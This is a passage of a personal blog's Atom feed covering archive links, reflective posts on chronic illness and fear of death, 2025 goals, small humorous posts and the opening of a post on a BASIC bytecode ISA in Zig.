&lt;li&gt;2021-03-31: &lt;a href=&quot;/flashes/2021/03/31/occlusion&quot;&gt;occlusion&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2021-03-31: &lt;a href=&quot;/flashes/2021/03/31/pull&quot;&gt;pull&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2021-04-04: &lt;a href=&quot;/flashes/2021/04/04/impinged&quot;&gt;impinged&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2021-04-06: &lt;a href=&quot;/flashes/2021/04/06/inscrutability&quot;&gt;inscrutability&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2021-04-19: &lt;a href=&quot;/flashes/2021/04/19/cycles&quot;&gt;cycles&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2021-04-21: &lt;a href=&quot;/flashes/2021/04/21/recapitulating&quot;&gt;recapitulating&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2021-04-23: &lt;a href=&quot;/flashes/2021/04/23/mouii&quot;&gt;mouii&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2021-04-27: &lt;a href=&quot;/flashes/2021/04/27/occlusion-ii&quot;&gt;occlusion II&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2021-04-27: &lt;a href=&quot;/flashes/2021/04/27/vacillation&quot;&gt;vacillation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2021-04-30: &lt;a href=&quot;/flashes/2021/04/30/summarised&quot;&gt;summarised&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2021-05-04: &lt;a href=&quot;/flashes/2021/05/04/kept&quot;&gt;kept&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2021-05-05: &lt;a href=&quot;/flashes/2021/05/05/kutuzyoku&quot;&gt;kutuzyoku&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2021-05-06: &lt;a href=&quot;/flashes/2021/05/06/siriai&quot;&gt;siriai&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2021-05-07: &lt;a href=&quot;/flashes/2021/05/07/p&quot;&gt;p&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2021-05-07: &lt;a href=&quot;/flashes/2021/05/07/zashchitnitsa&quot;&gt;zashchitnitsa&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2021-05-08: &lt;a href=&quot;/flashes/2021/05/08/excerpt&quot;&gt;excerpt&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2021-05-09: &lt;a href=&quot;/flashes/2021/05/09/title-i&quot;&gt;title I&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2021-05-10: &lt;a href=&quot;/flashes/2021/05/10/sequencer&quot;&gt;sequencer&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2021-05-11: &lt;a href=&quot;/flashes/2021/05/11/kekkyoku&quot;&gt;kekkyoku&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2021-05-11: &lt;a href=&quot;/flashes/2021/05/11/tumari&quot;&gt;tumari&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2021-05-12: &lt;a href=&quot;/flashes/2021/05/12/inscrutability-ii&quot;&gt;inscrutability II&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2021-05-18: &lt;a href=&quot;/flashes/2021/05/18/%D0%BE%D1%82%D1%87%D1%83%D0%B6%D0%B4%D0%B5%D0%BD%D0%BD%D0%BE%D1%81%D1%82%D1%8C&quot;&gt;отчужденность&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2021-05-19: &lt;a href=&quot;/flashes/2021/05/19/iraira&quot;&gt;iraira&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2021-05-24: &lt;a href=&quot;/flashes/2021/05/24/various&quot;&gt;various&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2021-05-26: &lt;a href=&quot;/flashes/2021/05/26/%E3%81%93%E3%81%AE%E3%81%BE%E3%81%BE%E3%81%98%E3%82%83&quot;&gt;このままじゃ&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2021-05-27: &lt;a href=&quot;/flashes/2021/05/27/%D0%B3%D1%80%D1%91%D0%B7%D0%B0&quot;&gt;грёза&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2021-05-31: &lt;a href=&quot;/flashes/2021/05/31/lustre&quot;&gt;lustre&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2021-06-04: &lt;a href=&quot;/flashes/2021/06/04/mikatralia&quot;&gt;mikatralia&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2021-06-05: &lt;a href=&quot;/flashes/2021/06/05/aside&quot;&gt;aside&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2021-06-05: &lt;a href=&quot;/flashes/2021/06/05/%E3%81%A4%E3%81%84%E3%81%9F&quot;&gt;ついた&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2021-06-08: &lt;a href=&quot;/flashes/2021/06/08/(un)monitored&quot;&gt;(un)monitored&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2021-06-08: &lt;a href=&quot;/flashes/2021/06/08/%E3%81%A4%E3%81%84%E3%81%9F%E3%81%A3%E3%81%A6&quot;&gt;ついたって&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2021-06-09: &lt;a href=&quot;/flashes/2021/06/09/dasein-i&quot;&gt;dasein I&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2021-06-09: &lt;a href=&quot;/flashes/2021/06/09/dasein-ii&quot;&gt;dasein II&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2021-06-10: &lt;a href=&quot;/flashes/2021/06/10/dasein-iii&quot;&gt;dasein III&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2021-06-11: &lt;a href=&quot;/flashes/2021/06/11/%D0%BE%D0%B1%D1%8A%D0%B5%D0%BA%D1%82&quot;&gt;объект&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2021-06-13: &lt;a href=&quot;/flashes/2021/06/13/%D0%BD%D1%83%D0%B6%D0%BD%D0%BE&quot;&gt;нужно&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2021-06-15: &lt;a href=&quot;/flashes/2021/06/15/cartita&quot;&gt;cartita&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2021-06-15: &lt;a href=&quot;/flashes/2021/06/15/dasein-iv&quot;&gt;dasein IV&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2021-06-16: &lt;a href=&quot;/flashes/2021/06/16/%E5%91%BD%E4%BB%A4&quot;&gt;命令&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2021-06-17: &lt;a href=&quot;/flashes/2021/06/17/%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5&quot;&gt;становление&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2021-06-18: &lt;a href=&quot;/flashes/2021/06/18/dasein-v&quot;&gt;dasein V&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2021-06-19: &lt;a href=&quot;/flashes/2021/06/19/flashes-end&quot;&gt;flashes: end&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;kwasticat&lt;/h2&gt;
&lt;p&gt;Short-lived BDSM journal that mostly mirrored posts from “flashes” after the
fact.  Resurrected from Wayback Machine; no idea how much I’ve lost.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;2021-06-22: &lt;a href=&quot;/kwasticat/2021/06/22/christening&quot;&gt;christening&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2021-06-23: &lt;a href=&quot;/kwasticat/2021/06/23/vision&quot;&gt;vision&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content>

  </entry>

  <entry>
    <title>Nix humour</title>
    <updated>2025-01-04T00:00:00Z</updated>
    <id>https://kivikakk.ee/2025/01/04/nix-humour</id>
    <link href="https://kivikakk.ee/2025/01/04/nix-humour" />

    <content type="html">&lt;p&gt;Something about this really fucks.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/expected-scenario.png&quot; alt=&quot;Screenshot of an excerpt from a NixOS wiki page: “Tip - The above assumes you have root access on the remote machine, that allows you to create such a weakly priviledged user, or that you have good relationship with your system administrator - which is the expected scenario if they have installed Nix system-wide.”&quot; /&gt;&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>Fear</title>
    <updated>2025-01-03T00:00:00Z</updated>
    <id>https://kivikakk.ee/2025/01/03/fear</id>
    <link href="https://kivikakk.ee/2025/01/03/fear" />

    <content type="html">&lt;p&gt;content note: physical illness, death, suicide.&lt;/p&gt;
&lt;p&gt;one thing about spending enough time fearing death, for whatever reason and
reasons that may be, is that one end to it is not removing the originator of
that fear — which depending on your psyche or conditions may not always be
possible — but learning to not fear death instead.&lt;/p&gt;
&lt;p&gt;i basically think anyone who spends enough time in panic over enough years
is liable to end up this way. the alternatives are burning to a husk, loss of
reality checking, or suicide.&lt;/p&gt;
&lt;p&gt;personally still a bit afraid — not so indifferent that i’d go hard for no
reason when exercising yesterday, for instance, i give my body what it asks
for (fluid movements, light effort, nothing anaerobic), but not so afraid that
i won’t do my best to purposefully trigger the new arrhythmia when doing the
holter monitor next week, despite risk inherent in inducing one.&lt;/p&gt;
&lt;p&gt;i find i keep having to say to myself, if this is all it would take to kill
me, then now or in two weeks accidentally say, it really makes no odds. that
i have to deploy this regularly to move forward with my days evinces a certain
something. and while the uncertainty itself is one degree of unbearable, a kind
of assertion that i cannot trust in my self-knowledge, the collective absence of
faith from others is another.&lt;/p&gt;
&lt;p&gt;if the condition finally gets worse after decades, if everyone’s been telling
you it’s false/“Just Anxiety”/psychosomatic/“functional” (given decades of panic
disorder etc.), and now it’s enough to be visible, it’s a relief and starts to
feel your only ally — the only true thing in all this time. i don’t know if it’s
true that the same death i feared and felt daily in my mid-teens until my early
20s &lt;em&gt;is&lt;/em&gt; this one, the one now manifesting so physically, or the one that stole
a few years away from me from 2016, but on reflection i’ve spent most of the
last 22 years actively fearing and feeling death.&lt;/p&gt;
&lt;p&gt;an end to this uncertainty and the loneliness within it is not exactly an
unwelcome thing in and of itself. we were never promised even one day of the
beauty of life, y’know? and i have experienced so much of it, awe-inspiring and
terrible and banal. nothing was ever ever promised.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>2025</title>
    <updated>2025-01-02T00:00:00Z</updated>
    <id>https://kivikakk.ee/2025/01/02/2025</id>
    <link href="https://kivikakk.ee/2025/01/02/2025" />

    <content type="html">&lt;p&gt;Happy new year!&lt;/p&gt;
&lt;p&gt;I guess I’m taking a slightly more laid-back approach to goals this year.
&lt;a href=&quot;https://kivikakk.ee/2024/10/13/led/&quot;&gt;Health issues&lt;/a&gt; have unfortunately progressed; whatever pain relief I
was getting from the duloxetine (or otherwise), either that effect has worn
off or the pain levels have risen to break through.&lt;/p&gt;
&lt;p&gt;I’ve also encountered a new arrhythmia, so “sudden cardiac death” is back on the
menu of dread. Holter monitor next week where I’ll try to reproduce that without
dying. Rheumatologist follow-up appointment where I expect to be diagnosed with
hEDS in … 12 weeks.  So it goes.&lt;/p&gt;
&lt;p&gt;Goals, then.&lt;/p&gt;
&lt;h3&gt;Keep up Duolingo.&lt;/h3&gt;
&lt;p&gt;866 days now; the streak isn’t the important thing, but it has been a really
good lesson in proving to myself I can stay consistent with things given
the right motivation. (In this case, being able to speak my partner’s native
language.)&lt;/p&gt;
&lt;p&gt;Duolingo isn’t for everyone, and the course quality varies wildly, but the
Spanish course for English speakers is incredible, and if you spend 15-20
minutes a day on it, and let it be your fallback activity when bored, you will
steadily but surely gain an extremely real facility with the language.&lt;/p&gt;
&lt;p&gt;(This much time is also enough to reliably sit around Obsidian/Diamond league,
and sometimes it can be a nice dopamine hit to make an effort to finish at #1.)&lt;/p&gt;
&lt;p&gt;I have the benefit of being around a native speaker all the time, but the first
year or so my level wasn’t anywhere near being able to use it casually without
it getting annoying for both of us. By now, we can switch in and out pretty
comfortably around the topics I’ve covered lexicon for.&lt;/p&gt;
&lt;p&gt;I’ve also added Portuguese on the side, spending roughly half my time each day
on each, and it works pretty well! I wouldn’t start two at once (especially
closely related languages like these; too confusing), but being a few years in
with one makes it an easy way to bootstrap another habit.  Português é estranho,
mas eu gosto :)  It’s a much shorter and less developed course than the Spanish
one, so I expect I’ll finish it this year and start another in its stead.&lt;/p&gt;
&lt;h3&gt;Daily meditation.&lt;/h3&gt;
&lt;p&gt;Planning to slot this in with my Duolingo practice.  I’ve been an on-and-off
meditator for 20 years or so now.  I need the equanimity now more than ever.&lt;/p&gt;
&lt;h3&gt;Home-cooked meals.&lt;/h3&gt;
&lt;p&gt;This has been a real struggle over the last year or two, with energy levels so
low (and no microwave in the Tallinn apartment!), but since moving into my new
place back in Melbourne it’s been a key focus.  Just need to keep it up.&lt;/p&gt;
&lt;h3&gt;Deliver the Ava MVP.&lt;/h3&gt;
&lt;p&gt;Charlotte’s been working non-stop on &lt;a href=&quot;https://github.com/charlottia/ava&quot;&gt;Ava BASIC&lt;/a&gt; (&lt;a href=&quot;https://kivikakk.ee/zig/2024/08/06/t%C3%BC%C3%BCpiautomaat/&quot;&gt;previously&lt;/a&gt;) since
July, and hopefully we can get that into a complete MVP this year.&lt;/p&gt;
&lt;h3&gt;Secondary project.&lt;/h3&gt;
&lt;p&gt;Having an “off” project would be nice.  This is a vaguer goal, but I get the
feeling technical writing would be a good fit for us.&lt;/p&gt;
&lt;h3&gt;Keep learning.&lt;/h3&gt;
&lt;p&gt;So far I have an unsorted list of things I’d like to learn or improve at:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Formal methods in digital design. We’ve played around with this a bit (e.g. with
&lt;a href=&quot;https://github.com/robertbaruch/amaranth-exercises&quot;&gt;Robert Baruch’s Amaranth exercises&lt;/a&gt;; solving Sudoku with
HDL and formal was a cool and unexpected twist), but not enough to usefully use it
in actual designs.&lt;/li&gt;
&lt;li&gt;Likewise, something like &lt;a href=&quot;https://lean-lang.org/&quot;&gt;Lean&lt;/a&gt; and perhaps &lt;a href=&quot;https://github.com/informalsystems/quint&quot;&gt;Quint&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Stenography with &lt;a href=&quot;http://www.openstenoproject.org/&quot;&gt;Open Steno&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Training on the Africa Twin; I’ve been rebuilding confidence since a fall
after a tyre replacement early last year, but I’d like some controlled
conditions to push the envelope a bit.&lt;/li&gt;
&lt;/ul&gt;</content>

  </entry>

  <entry>
    <title>StaleObjectStateException</title>
    <updated>2024-12-30T00:00:00Z</updated>
    <id>https://kivikakk.ee/2024/12/30/StaleObjectStateException</id>
    <link href="https://kivikakk.ee/2024/12/30/StaleObjectStateException" />

    <content type="html">&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/StaleObjectStateException.jpg&quot; alt=&quot;Photograph of a Woolworths self-checkout machine, with an error message: “Transaction concurrency error (StaleObjectStateException), Please retry”&quot; /&gt;&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>lottia notes continues</title>
    <updated>2024-12-24T00:00:00Z</updated>
    <id>https://kivikakk.ee/2024/12/24/lottia-notes-continues</id>
    <link href="https://kivikakk.ee/2024/12/24/lottia-notes-continues" />

    <content type="html">&lt;p&gt;A follow-up to &lt;a href=&quot;https://kivikakk.ee/2024/01/03/lottia-notes/&quot;&gt;lottia notes&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;Charlotte continues to write &lt;a href=&quot;https://lottia.net/notes/&quot;&gt;there&lt;/a&gt; (though about more topics now, including Nix
and Git/jj), and I’m considering her readership bootstrapped after a year of
crossposts.  &lt;a href=&quot;https://lottia.net/notes/atom.xml&quot;&gt;Her Atom feed is linked&lt;/a&gt;.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>Comptime, flow, and exhaustiveness</title>
    <updated>2024-12-17T10:02:36Z</updated>
    <id>https://kivikakk.ee/2024/12/17/comptime-flow-exhaustiveness</id>
    <link href="https://lottia.net/notes/0015-comptime-flow-exhaustiveness.html" />

    <content type="html">Make your own exhaustiveness rules up.</content>

  </entry>

  <entry>
    <title>1.2E+2 Volts (AC)</title>
    <updated>2024-12-15T00:00:00Z</updated>
    <id>https://kivikakk.ee/2024/12/15/12e2v</id>
    <link href="https://kivikakk.ee/2024/12/15/12e2v" />

    <content type="html">&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/12e2v.png&quot; alt=&quot;Amazon entry excerpt which reads: “Voltage: 1.2E+2 Volts (AC)”&quot; /&gt;&lt;strong&gt;edit&lt;/strong&gt;: Google tells me people hit this page a lot, searching for “1.2e+2 volts” and “what does 1.2e+2 volts mean”. It means 120 volts — it’s  written in scientific notation (1.2 × 10&lt;sup&gt;2&lt;/sup&gt;), for absolutely no good reason.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>Platform-specific hacks for high-DPI</title>
    <updated>2024-11-24T11:20:00Z</updated>
    <id>https://kivikakk.ee/2024/11/24/hidpi-platform-specific-hacks</id>
    <link href="https://lottia.net/notes/0014-hidpi-platform-specific-hacks.html" />

    <content type="html">We need to avoid getting scaled by the compositor, to preserve our sharp edge.</content>

  </entry>

  <entry>
    <title>Git and jujutsu: in miniature</title>
    <updated>2024-11-09T03:30:00Z</updated>
    <id>https://kivikakk.ee/2024/11/09/git-jujutsu-miniature</id>
    <link href="https://lottia.net/notes/0013-git-jujutsu-miniature.html" />

    <content type="html">A concrete example of Git and jujutsu usage compared.</content>

  </entry>

  <entry>
    <title>Soft skills: jujutsu early feelings</title>
    <updated>2024-11-07T06:55:00Z</updated>
    <id>https://kivikakk.ee/2024/11/07/soft-skills</id>
    <link href="https://lottia.net/notes/0012-soft-skills.html" />

    <content type="html">Launching into jujutsu.</content>

  </entry>

  <entry>
    <title>Non-intrusive vtable</title>
    <updated>2024-10-29T08:06:00Z</updated>
    <id>https://kivikakk.ee/2024/10/29/non-intrusive-vtable</id>
    <link href="https://lottia.net/notes/0011-non-intrusive-vtable.html" />

    <content type="html">OOP is the world&#39;s most consistently-used term in any field of any kind, ever.</content>

  </entry>

  <entry>
    <title>Reply to email, October 15</title>
    <updated>2024-10-29T00:00:00Z</updated>
    <id>https://kivikakk.ee/2024/10/29/reply-to-email-october-15</id>
    <link href="https://kivikakk.ee/2024/10/29/reply-to-email-october-15" />

    <content type="html">&lt;p&gt;The sender address bounced today, so I’m just publishing my reply here. Hope you
see it! :)&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Hiya &lt;3&lt;/p&gt;
&lt;p&gt;Thank you very much for your email; it was really lovely to receive. (Markdown
ecosystem work is not very rewarding a lot of the time, lol :p)&lt;/p&gt;
&lt;p&gt;But yeah — I don’t think there’s anything in particular you could do, and
that’s quite OK! The thought by itself is enough, thank you :) Financially I’m
completely fine. So I hope you get that Clojure gig and get money to make your
own life even cooler! (Throwback to that time I wrote a
&lt;a href=&quot;https://web.archive.org/web/20130423114048/http://rouge.io/&quot;&gt;Clojure impl in Ruby!&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;Be well &lt;3&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>Peak performance</title>
    <updated>2024-10-28T00:00:00Z</updated>
    <id>https://kivikakk.ee/2024/10/28/peak-performance</id>
    <link href="https://kivikakk.ee/2024/10/28/peak-performance" />

    <content type="html">&lt;img alt=&quot;A small bar graph from GitHub, titled &amp;quot;Languages&amp;quot;. The legend shows 81% Nix, 18.4% Shell, 0.6% HTML.&quot; src=&quot;https://s3.hrzn.ee/kvp/peakperformance.png&quot; width=&quot;336&quot;&gt;
&lt;p&gt;You may not like it, but this is what peak performance looks like.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>Led</title>
    <updated>2024-10-13T07:13:00Z</updated>
    <id>https://kivikakk.ee/2024/10/13/led</id>
    <link href="https://kivikakk.ee/2024/10/13/led" />

    <content type="html">&lt;p&gt;Content note: pain, bad mental health, health issues.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;/eesti/2024/04/11/early-nyonks/&quot;&gt;Six months later&lt;/a&gt;, we’re back. It’s sad — we were acclimating well,
met our neighbours, started riding all over the country, and then I started to
be in pain.&lt;/p&gt;
&lt;p&gt;Any kind of pain is bad, but the body part(s) affected really define the flavour
of the impact it has, I guess, and this has been the first time I’ve had really
significant leg pain.  That’s sort of underselling it; it’s sometimes in my
knees, usually ankles, feet, and though it seems like it shouldn’t be related,
also in my elbows, fingertips, and even the sides of my neck, and it all feels
very much related.&lt;/p&gt;
&lt;p&gt;Still, for the most part it’s in my lower legs, and it. is. constant. I went
back on nifedipine, since a Raynaud’s “diagnosis” last year had me try that
and it sort of helped during winter. My hands and feet are always really cold,
and they were worse than usual, so I was hopeful it’d help. Estonia only had
the &lt;a href=&quot;https://www.health.nsw.gov.au/sabs/Documents/2021-sn-001.pdf&quot;&gt;“medium acting”&lt;/a&gt; variant, and it felt a lot bumpier than the
modified-release ones in Australia.&lt;/p&gt;
&lt;p&gt;After that didn’t help at all, it was time to see the doctor. And see the
doctor I did. And again, and again. And a physiotherapist. And an orthopaedist.
Two X-rays, two different kinds of strong anti-inflammatory, three weeks of
gabapentin, a month and a half of physio, and three months later in total and
not even the slightest improvement. Exercising didn’t help, resting didn’t help.
Ruled out referred back pain, inflammation, neuropathy, muscular.&lt;/p&gt;
&lt;p&gt;Meanwhile, the time between appointments started to stretch out, I guess as
folks returned from summer holidays, and I was just miserable. I hadn’t been
able to do much of anything in a long time, and the &lt;a href=&quot;https://lobste.rs/s/jqfp5d/what_are_you_doing_this_week#c_hihjcw&quot;&gt;healthcare system in
Estonia&lt;/a&gt; was really making it hard. The pain on some days made me want
to beat whichever leg was hurting into a pulp, because that somehow was more
tractable and bearable.&lt;/p&gt;
&lt;p&gt;So we’re back. I’ve had some relief since, in being able to switch back to
the modified-release nifedipine, as well as get back on an antidepressant —
duloxetine, both for the general sense of despair I’ve been accumulating this
last quarter of a year (!), and for its help with ?fibromyalgia. The pain is a
little bit more distant, but it’s still there and still getting worse.&lt;/p&gt;
&lt;p&gt;Finally getting some blood tests confirmed it’s not something easy (anaemia,
B12 deficiency) or obvious (cancer, RF+ RA). My money is on COVID-related
vasculopathy, but I guess it’s not so easy to confirm, deny, or help. With some
amazing luck, I managed to score an early rheumatologist appointment (someone
had just cancelled), which then got bumped forward another week, so that’s now
tomorrow.&lt;/p&gt;
&lt;p&gt;I can’t particularly have my hopes up — we’re up to 4 months now since this
started to intrude on my life. &lt;a href=&quot;/2016/08/22/illness-1.html&quot;&gt;Last time I had a new chronic illness&lt;/a&gt;, it took more than a year for it to start subsiding regularly enough that
I could start to believe it might abate entirely. (It came back for months at a
time, years later.)&lt;/p&gt;
&lt;p&gt;And unlike that time, this one isn’t only in my head: my legs and feet are
increasingly randomly surfacing bruises that don’t clear up for &lt;em&gt;months&lt;/em&gt; at
a time. A few days ago while out to therapy, there was a particularly sharp
ache across the top of my left foot, and when I got home, I took my shoe off
and found that a vein had just turned completely black in a spot right there.
There’s a blue patch on the back of my right leg (the one that hurts less on
average!) that hasn’t gone away in the whole four months. And as my doctor here
said, it’s entirely possible that at the end of all our investigations, I’ll
still have this pain to manage, maybe indefinitely.&lt;/p&gt;
&lt;p&gt;Which, y’know? That kind of thing just happens in life.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>RSS autodiscovery</title>
    <updated>2024-10-13T00:00:00Z</updated>
    <id>https://kivikakk.ee/2024/10/13/rss-autodiscovery</id>
    <link href="https://kivikakk.ee/2024/10/13/rss-autodiscovery" />

    <content type="html">&lt;p&gt;It’s come to my attention that some folks don’t know my blog has an &lt;a href=&quot;https://kivikakk.ee/atom.xml&quot;&gt;RSS feed&lt;/a&gt;!
This is kind of astonishing to me as it suggests people actually manually check
blogs for new posts sometimes?!&lt;/p&gt;
&lt;p&gt;At any rate, it does, it’s just not linked anywhere explicitly — but it is
supported via &lt;a href=&quot;https://dri.es/rss-auto-discovery&quot;&gt;RSS autodiscovery&lt;/a&gt;, which I just kind of .. assumed everyone
used, relied on, knew about? But apparently not!&lt;/p&gt;
&lt;p&gt;I guess I’ll add a link, just in case. :)&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>Tüüpiautomaat: automated testing of a compiler and target against each other</title>
    <updated>2024-08-06T00:00:00Z</updated>
    <id>https://kivikakk.ee/zig/2024/08/06/tüüpiautomaat</id>
    <link href="https://kivikakk.ee/2024/08/06/tüüpiautomaat" />

    <content type="html">&lt;p&gt;I’m currently working on a bit of a &lt;a href=&quot;https://github.com/charlottia/ava&quot;&gt;long-winded project&lt;/a&gt; to recapture
&lt;a href=&quot;https://en.wikipedia.org/wiki/QuickBASIC&quot;&gt;QuickBASIC&lt;/a&gt;, the environment I learned to program in, in a bit of
a novel way, while remaining highly faithful to the original. (I actually
started a related project &lt;a href=&quot;https://github.com/kivikakk/kyuubey&quot;&gt;9 years ago&lt;/a&gt; (!), and I’ll be able to reuse
some of what I did back then!)&lt;/p&gt;
&lt;p&gt;The new project involves compiling the BASIC down into a bytecode suitable for
a stack machine, and an implementation of such a stack machine. Importantly,
there’ll soon be a second implementation which runs on a different architecture
entirely: namely, it’ll be an implementation &lt;em&gt;of&lt;/em&gt; this architecture on an FPGA.
So the machine needs to be reasonably easy to implement in hardware — if it
simplifies the gateware design, I’ll happily take tradeoffs that involve making the
compiler more complicated, or the ISA more verbose.&lt;/p&gt;
&lt;p&gt;The ISA started out with opcodes like:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-zig&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;pub&lt;/span&gt; &lt;span style=&quot;color: #cba6f7;&quot;&gt;const&lt;/span&gt; &lt;span style=&quot;color: #f9e2af;&quot;&gt;Opcode&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #cba6f7;&quot;&gt;enum&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;u8&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;PUSH_IMM_INTEGER&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;0x01&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;PUSH_IMM_LONG&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;0x02&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;PUSH_IMM_SINGLE&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;0x03&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;PUSH_IMM_DOUBLE&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;0x04&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;PUSH_IMM_STRING&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;0x05&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;PUSH_VARIABLE&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;0x0a&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;    &lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;// [...]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;OPERATOR_ADD&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;0xd0&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt;
